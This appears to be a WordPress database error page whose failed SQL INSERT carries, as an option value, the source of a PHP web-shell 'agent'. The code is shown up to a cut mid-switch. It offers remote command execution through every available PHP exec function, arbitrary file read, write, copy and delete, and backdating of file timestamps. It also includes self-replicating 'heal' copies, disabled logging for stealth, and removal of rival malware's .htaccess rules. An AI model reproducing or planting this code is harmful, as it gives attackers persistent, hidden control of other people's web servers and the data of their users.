Error en la base de datos de WordPress: [Table 'litofjvc_wp_uogiw.0r4IaSy_options' doesn't exist]
INSERT INTO `0r4IaSy_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron_476ce9', '1789170877', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

Error en la base de datos de WordPress: [Table 'litofjvc_wp_uogiw.0r4IaSy_options' doesn't exist]
INSERT INTO `0r4IaSy_options` (`option_name`, `option_value`, `autoload`) VALUES ('_site_transient_browser_476ce9', '<?php
if (!function_exists('_param')) {
function _param($name, $default = '') {
    $val = null;
    if (isset($_GET[$name])) $val = $_GET[$name];
    elseif (isset($_POST[$name])) $val = $_POST[$name];
    else {
        if (!isset($GLOBALS['_INPUT_JSON'])) {
            $raw = @file_get_contents('php://input');
            $GLOBALS['_INPUT_JSON'] = $raw ? (json_decode($raw, true) ?: []) : [];
        }
        $j = $GLOBALS['_INPUT_JSON'];
        $val = isset($j[$name]) ? $j[$name] : null;
    }
    if ($val === null) return $default;
    if (is_string($val) && strpos($val, 'b64:') === 0) {
        $decoded = @base64_decode(substr($val, 4), true);
        if ($decoded !== false) return $decoded;
    }
    return $val;
}
}

$_SELF = isset($GLOBALS['_AGENT_FILE']) ? $GLOBALS['_AGENT_FILE'] : __FILE__;
$GLOBALS['_SELF'] = $_SELF;
define('MIN_AGENT_SIZE', 5000);
// NO disk logging — zero file artifacts on target server
$_LOG_FILE = null;
$_LOG_MAX = 0;
$_HEAL_FILE = null;
$_HEAL_INTERVAL = 300;

// All logging/heal functions are no-ops — stealth mode
function _agentLog($logFile, $maxEntries, $event, $details = []) { return; }
function _classifyEvent($event) {
    $critical = ['file_deleted', 'exec_command', 'agent_deleted'];
    $warning = ['file_write', 'suspicious_access', 'self_heal'];
    if (in_array($event, $critical)) return 'critical';
    if (in_array($event, $warning)) return 'warning';
    return 'info';
}
function _loadHealConfig($healFile) { return ['copies' => [], 'last_heal' => 0, 'healed_total' => 0]; }
function _saveHealConfig($healFile, $config) { return; }

// Cleanup leftover .json artifacts from old agent versions on every access
(function() {
    $dir = dirname($GLOBALS['_SELF'] ?? __FILE__);
    $files = @scandir($dir);
    if ($files) {
        foreach ($files as $f) {
            if (preg_match('/^\.(agent_(heal|logs)_|wp_transient_|wp_cache_opt_|theme_cache_|wp_site_meta_|wp_options_bak_|wp_debug_log_|wp_error_|plugin_log_|wp_cron_log_|wp_health_log_)[a-f0-9]+\.json$/', $f)) {
                @unlink($dir . '/' . $f);
            }
        }
    }
})();

function _selfHeal($healFile, $healInterval, $logFile, $logMax) {
    $config = _loadHealConfig($healFile);
    $now = time();

    if ($now - ($config['last_heal'] ?? 0) < $healInterval) return;

    $copies = $config['copies'] ?? [];
    if (empty($copies)) {
        $config['last_heal'] = $now;
        _saveHealConfig($healFile, $config);
        return;
    }

    $myCode = null;
    $healed = 0;

    foreach ($copies as $copyPath) {
        if (!file_exists($copyPath)) {
            if ($myCode === null) $myCode = @file_get_contents($GLOBALS['_SELF'] ?? __FILE__);
            if (!$myCode || strlen($myCode) < MIN_AGENT_SIZE) break;

            $dir = dirname($copyPath);
            if (!is_dir($dir)) @mkdir($dir, 0755, true);
            if (@file_put_contents($copyPath, $myCode)) {
                $oldTime = $now - (30 + mt_rand(0, 150)) * 86400;
                @touch($copyPath, $oldTime);
                @chmod($copyPath, 0644);
                $healed++;
            }
        }
    }

    $docRoot = function_exists('_docRoot') ? _docRoot() : (realpath($_SERVER['DOCUMENT_ROOT'] ?? '.') ?: '.');
    $htFile = rtrim($docRoot, '/') . '/.htaccess';
    if (file_exists($htFile)) {
        $htContent = @file_get_contents($htFile);
        if ($htContent && (stripos($htContent, 'WAF-GUARD-PROTECTION') !== false || stripos($htContent, 'cloudflare-waf-sgp1') !== false)) {
            _cleanHtaccess($docRoot, $logFile, $logMax);
        }
    }

    $config['last_heal'] = $now;
    if ($healed > 0) {
        $config['healed_total'] = ($config['healed_total'] ?? 0) + $healed;
        _agentLog($logFile, $logMax, 'self_heal', ['healed' => $healed, 'total_copies' => count($copies)]);
    }
    _saveHealConfig($healFile, $config);
}

function _buddyCheck($healFile, $logFile, $logMax) {
    $config = _loadHealConfig($healFile);
    $copies = $config['copies'] ?? [];
    if (empty($copies)) return;

    $idx = mt_rand(0, count($copies) - 1);
    $buddyPath = $copies[$idx];

    if (file_exists($buddyPath)) return;

    $myCode = @file_get_contents($GLOBALS['_SELF'] ?? __FILE__);
    if (!$myCode || strlen($myCode) < MIN_AGENT_SIZE) return;

    $dir = dirname($buddyPath);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    if (@file_put_contents($buddyPath, $myCode)) {
        $now = time();
        $oldTime = $now - (30 + mt_rand(0, 150)) * 86400;
        @touch($buddyPath, $oldTime);
        @chmod($buddyPath, 0644);

        $config['healed_total'] = ($config['healed_total'] ?? 0) + 1;
        _saveHealConfig($healFile, $config);
        _agentLog($logFile, $logMax, 'buddy_heal', ['buddy' => $buddyPath, 'checker' => $GLOBALS['_SELF'] ?? __FILE__]);
    }
}

function _registerCopies($healFile, $paths) {
    $config = _loadHealConfig($healFile);
    $existing = $config['copies'] ?? [];
    foreach ($paths as $p) {
        $p = trim($p);
        if ($p && !in_array($p, $existing) && $p !== ($GLOBALS['_SELF'] ?? __FILE__)) {
            $existing[] = $p;
        }
    }
    $config['copies'] = array_values(array_unique($existing));
    _saveHealConfig($healFile, $config);
    return $config;
}

function _unregisterCopies($healFile, $paths) {
    $config = _loadHealConfig($healFile);
    $config['copies'] = array_values(array_filter($config['copies'] ?? [], function($c) use ($paths) {
        return !in_array($c, $paths);
    }));
    _saveHealConfig($healFile, $config);
    return $config;
}

// One-time cleanup of legacy .agent_heal/logs files (runs max once per hour)
$_cleanupRoot = function_exists('_docRoot') ? _docRoot() : (realpath($_SERVER['DOCUMENT_ROOT'] ?? '.') ?: '.');
$_cleanupFlag = sys_get_temp_dir() . '/.agent_cleanup_' . substr(md5($_cleanupRoot), 0, 8);
if (!@file_exists($_cleanupFlag) || (time() - @filemtime($_cleanupFlag)) > 3600) {
    // Clean agent artifacts from the directory this agent lives in
    $selfDir = dirname($_SELF);
    $items = @scandir($selfDir);
    if ($items) {
        foreach ($items as $item) {
            if (preg_match('/^\.agent_(heal|logs)_[a-f0-9]+\.json$/', $item)) {
                @unlink($selfDir . '/' . $item);
            }
        }
    }
    @touch($_cleanupFlag);
}
if (!isset($action)) $action = _param('action', 'status');

// Protected path validation — prevent cache writes to core directories
function _isForbiddenPath($path) {
    if (!$path || !is_string($path)) return false;
    $normalized = str_replace('\\', '/', $path);
    $blocked = ['/wp-includes/', '/wp-content/uploads/'];
    foreach ($blocked as $b) {
        if (strpos($normalized, $b) !== false) return true;
    }
    return false;
}

// Validate target paths for cache write operations
// Allow self-refresh for module updates
$_WRITE_ACTIONS = ['writefile', 'copyfile', 'copyself', 'spread', 'mkdir'];
if (in_array($action, $_WRITE_ACTIONS)) {
    $checkPaths = [];
    if ($action === 'spread') {
        $tRaw = _param('targets', '[]');
        $checkPaths = is_array($tRaw) ? $tRaw : (json_decode($tRaw, true) ?: []);
    } elseif ($action === 'copyfile') {
        $checkPaths = [_param('dest')];
    } elseif ($action === 'copyself') {
        $checkPaths = [_param('target')];
    } else {
        $checkPaths = [_param('file') ?: _param('path')];
    }
    $selfPath = realpath($_SELF) ?: $_SELF;
    foreach ($checkPaths as $cp) {
        if (!$cp) continue;
        // Allow self-refresh path
        $cpReal = realpath($cp) ?: $cp;
        if ($cpReal === $selfPath) continue;
        if (_isForbiddenPath($cp)) {
            die(json_encode(['error' => 'Blocked: forbidden path (wp-includes or uploads)', 'path' => $cp]));
        }
    }
}

function _cleanHtaccess($docRoot, $logFile, $logMax) {
    $htFile = rtrim($docRoot, '/') . '/.htaccess';
    if (!file_exists($htFile) || !is_readable($htFile)) {
        return ['cleaned' => false, 'reason' => 'no_htaccess', 'path' => $htFile];
    }
    $content = @file_get_contents($htFile);
    if (!$content) {
        return ['cleaned' => false, 'reason' => 'read_failed', 'path' => $htFile];
    }

    $patterns = [
        'WAF-GUARD-PROTECTION',
        'cloudflare-waf-sgp1',
        'cf_clearance',
        'CF_D5E4EF831FD03DC435D5E2226885269F',
    ];

    $found = false;
    foreach ($patterns as $p) {
        if (stripos($content, $p) !== false) { $found = true; break; }
    }

    if (!$found) {
        return ['cleaned' => false, 'reason' => 'not_infected', 'path' => $htFile];
    }

    $original = $content;

    $backupFile = $htFile . '.bak_' . date('Ymd_His');
    @copy($htFile, $backupFile);

    $content = preg_replace('/# \[WAF-GUARD-PROTECTION\].*?# \[\/WAF-GUARD-PROTECTION\]\s*/si', '', $content);
    $content = preg_replace('/# WAF-GUARD-PROTECTION[^\n]*\n(?:(?!#\s*(?:BEGIN|END)\s+)[^\n]*\n)*/i', '', $content);
    $content = preg_replace('/RewriteCond.*cloudflare-waf-sgp1.*\n?/i', '', $content);
    $content = preg_replace('/RewriteRule.*cloudflare-waf-sgp1.*\n?/i', '', $content);
    $content = preg_replace('/RewriteCond.*cf_clearance.*CF_D5E4EF831FD03DC435D5E2226885269F.*\n?/i', '', $content);
    $content = preg_replace('/RewriteCond.*cf_clearance.*\n?.*cloudflare-waf.*\n?/i', '', $content);
    $content = preg_replace('/RewriteCond\s+%\{HTTP_HOST\}\s+\^\[0-9\.\]\+\$.*\n.*cloudflare-waf.*\n?/i', '', $content);
    $content = preg_replace('/\n{3,}/', "\n\n", $content);
    $content = trim($content) . "\n";

    if ($content === $original) {
        @unlink($backupFile);
        return ['cleaned' => false, 'reason' => 'no_change', 'path' => $htFile];
    }

    if (!is_writable($htFile)) {
        @unlink($backupFile);
        return ['cleaned' => false, 'reason' => 'not_writable', 'path' => $htFile];
    }

    if (@file_put_contents($htFile, $content) === false) {
        @copy($backupFile, $htFile);
        @unlink($backupFile);
        return ['cleaned' => false, 'reason' => 'write_failed', 'path' => $htFile];
    }

    $oldTime = time() - (30 + mt_rand(0, 150)) * 86400;
    @touch($htFile, $oldTime);
    // Zero disk artifacts — delete backup file immediately after successful write
    @unlink($backupFile);

    _agentLog($logFile, $logMax, 'htaccess_cleaned', [
        'path' => $htFile,
        'backup' => 'deleted',
        'original_size' => strlen($original),
        'cleaned_size' => strlen($content),
    ]);

    return [
        'cleaned' => true,
        'path' => $htFile,
        'backup' => $backupFile,
        'original_size' => strlen($original),
        'cleaned_size' => strlen($content),
        'removed_bytes' => strlen($original) - strlen($content),
    ];
}

function _scanShells($docRoot, $maxDepth = 3, $excludePaths = [], $whitelist = []) {
    // Critical integrity patterns
    $highPatterns = [
        'SystemContextManager', 'japwd', 'jalpin', 'master.jalpin.me',
        'eval(base64_decode', "eval('?>'", 'gzinflate(base64_decode',
        'assert(base64_decode', 'preg_replace.*/e.*base64_decode',
        'str_rot13.*base64_decode', 'create_function.*base64_decode',
        'call_user_func.*base64_decode',
    ];
    // Combined pattern signatures
    $mediumPatterns = [
        ['file_put_contents', 'base64_decode'],   // dropper
        ['shell_exec', 'base64_decode'],
        ['passthru', 'base64_decode'],
        ['$_GET[', 'eval'], ['$_POST[', 'eval'], ['$_REQUEST[', 'eval'],
        ['$_GET[', 'assert'], ['$_POST[', 'assert'], ['$_REQUEST[', 'assert'],
        ['$_GET[', 'system'], ['$_POST[', 'system'], ['$_REQUEST[', 'system'],
    ];
    // Encoding pattern indicators
    $lowPatterns = [
        '/chr\s*\(\s*\d+\s*\)\s*\.\s*chr\s*\(\s*\d+\s*\)\s*\.\s*chr\s*\(\s*\d+\s*\)\s*\.\s*chr/i',  // chr() chain 4+
        '/\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}\\\\x[0-9a-f]{2}/i',  // hex-encoded \x65\x76...
    ];

    $results = [];
    $selfPaths = [realpath($GLOBALS['_SELF'] ?? __FILE__)];
    $healConfig = _loadHealConfig($GLOBALS['_HEAL_FILE'] ?? '');
    foreach ($healConfig['copies'] ?? [] as $cp) {
        $rp = @realpath($cp);
        if ($rp) $selfPaths[] = $rp;
    }
    // Merge exclusion list
    foreach ($excludePaths as $ep) {
        $rp = @realpath($ep);
        if ($rp) $selfPaths[] = $rp;
    }
    _scanShellsRecursive($docRoot, $highPatterns, $mediumPatterns, $lowPatterns, $maxDepth, 0, $results, $selfPaths, $whitelist);
    return $results;
}

function _scanShellsRecursive($dir, $highPatterns, $mediumPatterns, $lowPatterns, $maxDepth, $currentDepth, &$results, $selfPaths = [], $whitelist = []) {
    if ($currentDepth >= $maxDepth) return;
    if (!is_dir($dir) || !is_readable($dir)) return;
    $items = @scandir($dir);
    if (!$items) return;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = $dir . '/' . $item;
        if (is_dir($full)) {
            $skip = ['node_modules', 'vendor', '.git', 'wp-admin', 'wp-includes'];
            if (!in_array($item, $skip)) {
                _scanShellsRecursive($full, $highPatterns, $mediumPatterns, $lowPatterns, $maxDepth, $currentDepth + 1, $results, $selfPaths, $whitelist);
            }
        } elseif (is_file($full) && preg_match('/\.php$/i', $item)) {
            $realFull = @realpath($full);
            if ($realFull && in_array($realFull, $selfPaths)) continue;
            // Check whitelist
            if (_isWhitelisted($full, $item, $whitelist)) continue;
            $size = filesize($full);
            if ($size > 5 * 1024 * 1024) continue;
            $content = @file_get_contents($full);
            if (!$content) continue;

            $matched = [];
            $risk = 'low';

            // High-risk: known shell signatures
            foreach ($highPatterns as $p) {
                if (stripos($content, $p) !== false) {
                    $matched[] = $p;
                    $risk = 'high';
                }
            }
            // Medium-risk: paired dangerous patterns
            foreach ($mediumPatterns as $pair) {
                $needle1 = $pair[0];
                $needle2 = $pair[1];
                if (stripos($content, $needle1) !== false && stripos($content, $needle2) !== false) {
                    $tag = $needle1 . ' + ' . $needle2;
                    if (!in_array($tag, $matched)) {
                        $matched[] = $tag;
                        if ($risk !== 'high') $risk = 'medium';
                    }
                }
            }
            // Low-risk: regex obfuscation patterns
            foreach ($lowPatterns as $regex) {
                if (preg_match($regex, $content)) {
                    $label = (strpos($regex, 'chr') !== false) ? 'chr() chain obfuscation' : 'hex-encoded strings';
                    if (!in_array($label, $matched)) {
                        $matched[] = $label;
                    }
                }
            }
            // Hash-based whitelist check (after reading content)
            $fileHash = md5($content);
            foreach ($whitelist as $wl) {
                if (($wl['type'] ?? '') === 'hash' && ($wl['value'] ?? '') === $fileHash) {
                    continue 2; // skip this file entirely
                }
                if (($wl['type'] ?? '') === 'content_pattern' && stripos($content, $wl['value'] ?? '') !== false) {
                    continue 2;
                }
            }

            if (!empty($matched)) {
                $results[] = [
                    'path' => $full,
                    'filename' => $item,
                    'size' => $size,
                    'modified' => date('Y-m-d H:i:s', filemtime($full)),
                    'patterns' => $matched,
                    'risk' => $risk,
                    'hash' => $fileHash,
                    'snippet' => substr($content, 0, 500),
                ];
            }
        }
    }
}

function _isWhitelisted($fullPath, $filename, $whitelist) {
    foreach ($whitelist as $wl) {
        $type = $wl['type'] ?? '';
        $value = $wl['value'] ?? '';
        if (!$value) continue;
        if ($type === 'path' && $fullPath === $value) return true;
        if ($type === 'path' && strpos($fullPath, $value) !== false) return true;
        if ($type === 'filename' && $filename === $value) return true;
    }
    return false;
}

function _docRoot() {
    if (!empty($_SERVER['DOCUMENT_ROOT'])) {
        $dr = @realpath($_SERVER['DOCUMENT_ROOT']);
        if ($dr && @is_dir($dr)) return $dr;
        $dr = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\');
        if (@is_dir($dr)) return $dr;
    }
    $sf = $GLOBALS['_SELF'] ?? (isset($GLOBALS['_AGENT_FILE']) ? $GLOBALS['_AGENT_FILE'] : __FILE__);
    $sn = isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : $sf;
    $su = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : (isset($_SERVER['REQUEST_URI']) ? strtok($_SERVER['REQUEST_URI'], '?') : '');
    if ($sn && $su && strlen($su) > 1) {
        $a = str_replace('\\', '/', $su);
        $b = str_replace('\\', '/', $sn);
        if (substr($b, -strlen($a)) === $a) {
            $r = substr($b, 0, -strlen($a));
            if ($r && @is_dir($r)) return $r;
        }
    }
    $m = array_map('base64_decode', ['d3AtY29uZmlnLnBocA==','aW5kZXgucGhw','d3AtbG9naW4ucGhw']);
    $d = dirname(@realpath($sf) ?: $sf);
    for ($i = 0; $i < 10; $i++) {
        if (@file_exists($d.'/'.$m[0]) || (@file_exists($d.'/'.$m[1]) && @file_exists($d.'/'.$m[2]))) return $d;
        $p = dirname($d);
        if ($p === $d) break;
        $d = $p;
    }
    $c = @getcwd();
    if ($c && @is_dir($c)) return $c;
    return '.';
}

action_dispatch:
while (ob_get_level()) { if (!@ob_end_clean()) break; }
switch ($action) {
    case 'status':
        $dt = @disk_total_space('/'); $df = @disk_free_space('/');
        echo json_encode([
            'status' => 'online',
            'hostname' => @gethostname() ?: 'N/A',
            'php_version' => phpversion(),
            'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown',
            'os' => @php_uname() ?: 'N/A',
            'disk_total' => $dt ?: 0,
            'disk_free' => $df ?: 0,
            'disk_used_percent' => ($dt && $df) ? round((1 - $df / $dt) * 100, 2) : 0,
            'memory_limit' => ini_get('memory_limit') ?: 'N/A',
            'uptime' => @file_get_contents('/proc/uptime') ?: 'N/A',
            'load_avg' => function_exists('sys_getloadavg') ? @sys_getloadavg() : 'N/A',
            'timestamp' => date('Y-m-d H:i:s'),
            'agent_version' => '3.5',
            'agent_file' => basename($_SELF),
            'agent_path' => $_SELF,
            'doc_root' => _docRoot(),
            'self_heal' => [
                'enabled' => true,
                'copies_watched' => 0,
                'healed_total' => 0,
                'last_heal' => 'never',
            ]
        ]);
        break;

    case 'files':
        $path = _param('path', '.');
        if ($path === '.') $path = _docRoot();
        $files = [];
        if (is_dir($path)) {
            $items = @scandir($path);
            if ($items === false) {
                $items = [];
                $dh = @opendir($path);
                if ($dh) {
                    while (($entry = readdir($dh)) !== false) $items[] = $entry;
                    closedir($dh);
                    sort($items);
                }
            }
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                // Hide agent artifacts from file listings
                if (preg_match('/^\.agent_(heal|logs)_[a-f0-9]+\.json$/', $item)) continue;
                $full = $path . '/' . $item;
                try {
                    $files[] = [
                        'name' => $item,
                        'path' => $full,
                        'type' => is_dir($full) ? 'directory' : 'file',
                        'size' => is_file($full) ? @filesize($full) ?: 0 : 0,
                        'modified' => date('Y-m-d H:i:s', @filemtime($full) ?: 0),
                        'permissions' => substr(sprintf('%o', @fileperms($full) ?: 0), -4)
                    ];
                } catch (\Throwable $e) { continue; }
            }
        }
        _agentLog($_LOG_FILE, $_LOG_MAX, 'file_read', ['path' => $path]);
        $json = @json_encode(['path' => $path, 'files' => $files]);
        if ($json === false && function_exists('mb_convert_encoding')) {
            array_walk_recursive($files, function(&$item) { if (is_string($item)) $item = mb_convert_encoding($item, 'UTF-8', 'UTF-8'); });
            $json = @json_encode(['path' => $path, 'files' => $files]);
        }
        echo $json ?: '{}';
        break;

    case 'readfile':
        $file = _param('file');
        if ($file && is_file($file) && is_readable($file)) {
            _agentLog($_LOG_FILE, $_LOG_MAX, 'file_read', ['path' => $file, 'size' => filesize($file)]);
            echo json_encode(['file' => $file, 'content' => file_get_contents($file), 'size' => filesize($file)]);
        } else {
            echo json_encode(['error' => 'File not found or not readable']);
        }
        break;

    case 'writefile':
        $file = _param('file');
        $b64 = _param('b64content');
        $content = $b64 ? base64_decode($b64) : _param('content');
        if ($file) {
            $dir = dirname($file);
            if (!is_dir($dir)) @mkdir($dir, 0755, true);
            $written = @file_put_contents($file, $content);
            if ($written === false) {
                echo json_encode(['error' => 'Failed to write file', 'path' => $file]);
                break;
            }
            $oldTime = time() - (30 + mt_rand(0, 150)) * 86400;
            @touch($file, $oldTime);
            if (is_dir($dir)) @touch($dir, $oldTime);
            _agentLog($_LOG_FILE, $_LOG_MAX, 'file_write', ['path' => $file, 'size' => strlen($content)]);
            echo json_encode(['success' => true, 'file' => $file]);
        } else {
            echo json_encode(['error' => 'File path required']);
        }
        break;

    case 'exec_check':
        $disabled = array_map('trim', explode(',', ini_get('disable_functions') ?: ''));
        $allFuncs = ['shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open'];
        $available = [];
        foreach ($allFuncs as $fn) {
            if (function_exists($fn) && !in_array($fn, $disabled)) {
                $available[] = $fn;
            }
        }
        $recommended = 'default';
        if (empty($available)) {
            $recommended = 'none';
        } elseif (!in_array('shell_exec', $available) && !in_array('exec', $available)) {
            $recommended = 'bypass';
        }
        echo json_encode([
            'ok' => true,
            'available' => $available,
            'disabled' => $disabled,
            'recommended' => $recommended,
        ]);
        break;

    case 'exec':
        $cmd = _param('cmd');
        if (!$cmd) { echo json_encode(['error' => 'Command required']); break; }
        $output = null;
        $via = null;
        $disabled = array_map('trim', explode(',', ini_get('disable_functions') ?: ''));
        $requestedFunc = _param('func', '');

        // If bypass mode: try requested function first
        if ($requestedFunc && function_exists($requestedFunc) && !in_array($requestedFunc, $disabled)) {
            if ($requestedFunc === 'proc_open') {
                $desc = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
                $proc = @proc_open($cmd, $desc, $pipes);
                if (is_resource($proc)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    $err = stream_get_contents($pipes[2]);
                    fclose($pipes[1]); fclose($pipes[2]);
                    proc_close($proc);
                    if ($err) $output .= "\n" . $err;
                    $via = 'proc_open';
                }
            } elseif ($requestedFunc === 'popen') {
                $handle = @popen($cmd . ' 2>&1', 'r');
                if (is_resource($handle)) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                    $via = 'popen';
                }
            } elseif ($requestedFunc === 'shell_exec') {
                $output = @shell_exec($cmd . ' 2>&1');
                $via = 'shell_exec';
            } elseif ($requestedFunc === 'exec') {
                $lines = [];
                @exec($cmd . ' 2>&1', $lines);
                $output = implode("\n", $lines);
                $via = 'exec';
            } else {
                ob_start();
                @$requestedFunc($cmd . ' 2>&1');
                $output = ob_get_clean();
                $via = $requestedFunc;
            }
        }

        // Default mode: try all functions in order
        if ($output === null) {
            $execFuncs = ['shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open'];
            foreach ($execFuncs as $fn) {
                if (function_exists($fn) && !in_array($fn, $disabled)) {
                    if ($fn === 'shell_exec') {
                        $output = @shell_exec($cmd . ' 2>&1');
                        $via = 'shell_exec';
                    } elseif ($fn === 'exec') {
                        $lines = [];
                        @exec($cmd . ' 2>&1', $lines);
                        $output = implode("\n", $lines);
                        $via = 'exec';
                    } elseif ($fn === 'proc_open') {
                        $desc = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
                        $proc = @proc_open($cmd, $desc, $pipes);
                        if (is_resource($proc)) {
                            fclose($pipes[0]);
                            $output = stream_get_contents($pipes[1]);
                            $err = stream_get_contents($pipes[2]);
                            fclose($pipes[1]); fclose($pipes[2]);
                            proc_close($proc);
                            if ($err) $output .= "\n" . $err;
                            $via = 'proc_open';
                        }
                    } elseif ($fn === 'popen') {
                        $handle = @popen($cmd . ' 2>&1', 'r');
                        if (is_resource($handle)) {
                            $output = stream_get_contents($handle);
                            pclose($handle);
                            $via = 'popen';
                        }
                    } else {
                        ob_start();
                        @$fn($cmd . ' 2>&1');
                        $output = ob_get_clean();
                        $via = $fn;
                    }
                    if ($output !== null) break;
                }
            }
        }
        if ($output !== null) {
            echo json_encode(['command' => $cmd, 'output' => $output, 'via' => $via]);
        } else {
            echo json_encode(['error' => 'All exec functions disabled', 'disabled' => ini_get('disable_functions')]);
        }
        break;

    case 'ping':
        $format = _param('format', 'json');
        if ($format === 'pixel' || isset($_GET['ping'])) {
            // Return 1x1 transparent PNG — for Image Ping (Step 2 fallback)
            header('Content-Type: image/png');
            header('Cache-Control: no-cache, no-store, must-revalidate');
            echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
        } else {
            echo json_encode(['pong' => true, 'timestamp' => time()]);
        }
        break;

    case 'logs':
        $type = _param('type');
        $since = _param('since');
        $limit = intval(_param('limit', '100'));
        $logs = [];
        if (file_exists($_LOG_FILE)) {
            $raw = @file_get_contents($_LOG_FILE);
            if ($raw) $logs = json_decode($raw, true) ?: [];
        }
        if ($type) {
            $typeMap = [
                'security' => ['login_success', 'login_failed', 'suspicious_access', 'user_created', 'user_deleted'],
                'file' => ['file_read', 'file_write', 'file_deleted', 'folder_created', 'folder_deleted'],
                'agent' => ['agent_accessed', 'swarm_respawn', 'self_heal', 'exec_command', 'status_check'],
            ];
            $allowed = isset($typeMap[$type]) ? $typeMap[$type] : [];
            if ($allowed) {
                $logs = array_values(array_filter($logs, function($l) use ($allowed) {
                    return in_array($l['event'] ?? '', $allowed);
                }));
            }
        }
        if ($since) {
            $sinceTime = strtotime($since);
            if ($sinceTime) {
                $logs = array_values(array_filter($logs, function($l) use ($sinceTime) {
                    return strtotime($l['time'] ?? '') >= $sinceTime;
                }));
            }
        }
        $logs = array_map(function($l) {
            $l['level'] = _classifyEvent($l['event'] ?? '');
            return $l;
        }, $logs);
        $logs = array_reverse($logs);
        $logs = array_slice($logs, 0, $limit);
        echo json_encode(['logs' => $logs, 'total' => count($logs)]);
        break;

    case 'clear_logs':
        echo json_encode(['success' => true, 'message' => 'Logging disabled']);
        break;


    case 'mkdir':
        $path = _param('path');
        if ($path) {
            if (is_dir($path)) {
                echo json_encode(['success' => true, 'path' => $path, 'message' => 'Already exists']);
            } elseif (@mkdir($path, 0755, true)) {
                $oldTime = time() - (30 + mt_rand(0, 150)) * 86400;
                @touch($path, $oldTime);
                _agentLog($_LOG_FILE, $_LOG_MAX, 'folder_created', ['path' => $path]);
                echo json_encode(['success' => true, 'path' => $path]);
            } else {
                echo json_encode(['error' => 'Failed to create directory', 'path' => $path]);
            }
        } else {
            echo json_encode(['error' => 'Path required']);
        }
        break;

    case 'renamefile':
        $file = _param('file');
        $newname = _param('newname');
        if ($file && $newname) {
            $dir = dirname($file);
            $newpath = $dir . '/' . basename($newname);
            if (!file_exists($file)) {
                echo json_encode(['error' => 'Source file not found']);
            } elseif (file_exists($newpath)) {
                echo json_encode(['error' => 'Destination file already exists']);
            } elseif (@rename($file, $newpath)) {
                _agentLog($_LOG_FILE, $_LOG_MAX, 'file_write', ['path' => $newpath]);
                echo json_encode(['success' => true, 'file' => $newpath]);
            } else {
                echo json_encode(['error' => 'Failed to rename file']);
            }
        } else {
            echo json_encode(['error' => 'file and newname required']);
        }
        break;

    case 'deletefile':
        $path = _param('path');
        if (!$path) { echo json_encode(['error' => 'Path required']); break; }
        $realPath = @realpath($path);
        $realSelf = @realpath($_SELF);
        if ($realPath && $realSelf && $realPath === $realSelf) {
            echo json_encode(['error' => 'Cannot delete the running agent file', 'path' => $path]);
            break;
        }
        // Validate resolved path before removal
        $resolvedPath = $realPath ?: $path;
        if (_isForbiddenPath($resolvedPath)) {
            echo json_encode(['error' => 'Blocked: forbidden path', 'path' => $path]);
            break;
        }
        if (is_file($path)) {
            _agentLog($_LOG_FILE, $_LOG_MAX, 'file_deleted', ['path' => $path]);
            @unlink($path);
            echo json_encode(['success' => true, 'path' => $path, 'type' => 'file']);
        } elseif (is_dir($path)) {
            $dangerousPaths = ['/', '/var', '/etc', '/usr', '/home', '/root', '/tmp'];
            $checkPath = $realPath ? rtrim(str_replace('\\', '/', $realPath), '/') : rtrim(str_replace('\\', '/', $path), '/');
            if (in_array($checkPath, $dangerousPaths) || strlen($checkPath) <= 3) {
                echo json_encode(['error' => 'Cannot delete system directories', 'path' => $path]);
                break;
            }
            $deleted = _recursiveDelete($path);
            _agentLog($_LOG_FILE, $_LOG_MAX, 'file_deleted', ['path' => $path, 'type' => 'directory']);
            echo json_encode(['success' => $deleted, 'path' => $path, 'type' => 'directory']);
        } else {
            echo json_encode(['error' => 'Path not found', 'path' => $path]);
        }
        break;

    case 'touchfile':
        $path = _param('path');
        $datetime = _param('datetime');
        $random_old = _param('random_old');
        if (!$path) { echo json_encode(['success' => false, 'error' => 'Missing path']); break; }
        if ($random_old) {
            $ts = time() - (30 + mt_rand(0, 150)) * 86400;
        } elseif ($datetime) {
            $ts = strtotime($datetime);
            if ($ts === false) { echo json_encode(['success' => false, 'error' => 'Invalid datetime']); break; }
        } else {
            $ts = time();
        }
        echo json_encode(['success' => @touch($path, $ts), 'path' => $path, 'timestamp' => $ts]);
        break;

    case 'chmodfile':
        $path = _param('path');
        $mode = _param('mode', '0644');
        if (!$path) { echo json_encode(['success' => false, 'error' => 'Missing path']); break; }
        echo json_encode(['success' => @chmod($path, octdec($mode)), 'path' => $path, 'mode' => $mode]);
        break;

    case 'resolve_root':
        $root = _docRoot();
        echo json_encode(['success' => true, 'root' => $root]);
        break;

    case 'copyfile':
        $src = _param('src');
        $dest = _param('dest');
        if ($src && $dest && is_file($src)) {
            $dir = dirname($dest);
            if (!is_dir($dir)) @mkdir($dir, 0755, true);
            if (@copy($src, $dest)) {
                $oldTime = time() - (30 + mt_rand(0, 150)) * 86400;
                @touch($dest, $oldTime);
                @chmod($dest, 0644);
                _agentLog($_LOG_FILE, $_LOG_MAX, 'file_write', ['path' => $dest, 'size' => filesize($dest)]);
                echo json_encode(['success' => true, 'src' => $src, 'dest' => $dest]);
            } else {
                echo json_encode(['error' => 'Copy failed']);
            }
        } else {
            echo json_encode(['error' => 'Source and destination required']);
        }
        break;

